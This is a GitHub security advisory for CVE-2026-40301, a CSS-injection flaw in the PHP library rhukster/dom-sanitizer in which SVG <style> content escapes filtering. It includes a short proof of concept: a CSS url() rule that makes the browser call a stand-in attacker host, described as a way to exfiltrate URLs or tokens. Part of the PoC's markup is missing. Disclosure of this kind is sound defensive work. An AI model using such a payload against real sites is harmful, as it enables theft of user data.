GitHub Advisoryadvisory · Packagist
GHSA-93vf-569f-22cq rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives
MEDIUM
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- Aliases
- CVE-2026-40301
- Ecosystem
- Packagist
- Packages
- rhukster/dom-sanitizer
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
- Weaknesses
- CWE-79
- Reviewed
- 2026-04-10
Affected packages
• Packagist rhukster/dom-sanitizer: < 1.0.10 → fixed in 1.0.10
Description
Summary
DOMSanitizer::sanitize() allows elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.
Details
In src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.
Vulnerable code (src/DOMSanitizer.php, line 31):
```php
'svg' => ['style', 'path', 'rect', 'circle', ...],
```
The following payload survives sanitize() intact:
```svg
• { background: url(https://attacker.example/collect); }
```
PoC
```php
• { background: url(https://attacker.example/collect); }';
$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);
$output = $sanitizer->sanitize($svg);
echo $output; // with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)
```
Render the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.
Impact
Any application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.
Related
Alias · CVE (1)
- CVE-2026-40301 DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness
References
- https://github.com/rhukster/dom-sanitizer/security/advisories/GHSA-93vf-569f-22cq web
- https://nvd.nist.gov/vuln/detail/CVE-2026-40301 advisory
- https://github.com/rhukster/dom-sanitizer/commit/49a98046b708a4c92f754f5b0ef1720bb85142e2 web
- https://github.com/rhukster/dom-sanitizer package
- https://github.com/rhukster/dom-sanitizer/releases/tag/1.0.10 web